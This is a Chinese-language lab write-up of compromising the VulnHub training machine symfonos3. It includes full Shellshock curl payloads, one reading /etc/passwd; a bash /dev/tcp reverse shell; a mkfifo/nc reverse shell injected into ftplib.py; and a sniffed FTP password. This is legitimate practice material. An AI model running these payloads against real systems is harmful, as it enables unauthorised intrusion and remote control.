vulnhub-symfonos3

symfonos3靶机

靶机地址：https://www.vulnhub.com/entry/symfonos-31,332/

靶机 IP：192.168.3.143

kali IP：192.168.3.133

好，准备开启奇妙之旅

主机发现

root@kali:~# arp-scan -l

端口扫描

可以看到靶机开放了21、22、80端口

nikto也没扫出有用的信息

目录扫描

root@kali:~# dirb http://192.168.3.143

Can you bust the underworld?

http://192.168.3.143/cgi-bin/

http://192.168.3.143/gate/

使用dirbuster对cgi-bin目录进行爆破

尝试访问

其输出的信息都很相似

输出的信息是和uptime命令相似

使用nikto -h http://192.168.3.143/cgi-bin/underworld/

输出的信息很多

此处存在CVE-2014-6271漏洞，破壳ShellShock漏洞

参考链接:https://www.freebuf.com/articles/system/45390.html

root@kali:~# curl -A " () { :;};echo;echo 123;" http://192.168.3.143/cgi-bin/underworld/

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://192.168.3.143/cgi-bin/underworld

使用mfs搜索漏洞

exploit/multi/http/apache_mod_cgi_bash_env_exec

还可以使用payload进行反弹shell

root@kali:~# curl -A "() { :; }; /bin/bash -i > /dev/tcp/192.168.3.133/4444 0<&1 2>&1" http://192.168.3.143/cgi-bin/underworld

root@kali:~# nc -lvnp 4444

靶机IP变为192.168.3.146

再tmp目录下下载pspy64

cerberus@symfonos3:/tmp$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

添加可执行权限

cerberus@symfonos3:/tmp$ ./pspy64 -pf -i 1000

运行脚本

可以看到靶机有提供ftp服务，而ftp服务是明文传输，所以可以尝试抓取流量包进行分析

看看主机是否有tcpdump

需要再tmp目录下才有权限

每次ctrl c就会退出shell，emmm

在靶机上开启http服务

python -m SimpleHTTPServer 7777

root@kali:~# wget http://192.168.3.146:7777/ftp.pcap

用wireshark进行分析

USER hades

PASS PTpZTfU4vxgzvRBE

使用这个用户去ssh登录

hades对ftpclient只有读权限，查看文件内容

查看hades对那些文件具有可写权限

hades@symfonos3:/opt/ftpclient$ find / -writable -type d 2>/dev/null

咳咳，我到此为止了，看网上的writeup都是修改ftplib.py反弹shell，看看权限

不明白大佬们都是怎么改的动的，溜了溜了

最后，反弹shell

import os;os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.xxx.xxxx 4444 >/tmp/f')

··············莫的感情的分割线·················

不甘心，恢复快照直接ssh连接，又看了下权限，玄学，怎么不一样？但是可以改内容了

等了一会，接收到会话了

flag /root/ proof.txt

这台靶机是玄学吗？我也没发现gods这个用户，为什么？如果有dalao知道，请务必告诉我。

咳咳，最后的最后（别打，真的最后）

闲着没事，隔一段时间执行ls -l |grep ftplib一次这个命令

难道是作者设置的靶机开启规定时间内要做到提权这一步？？？？？？？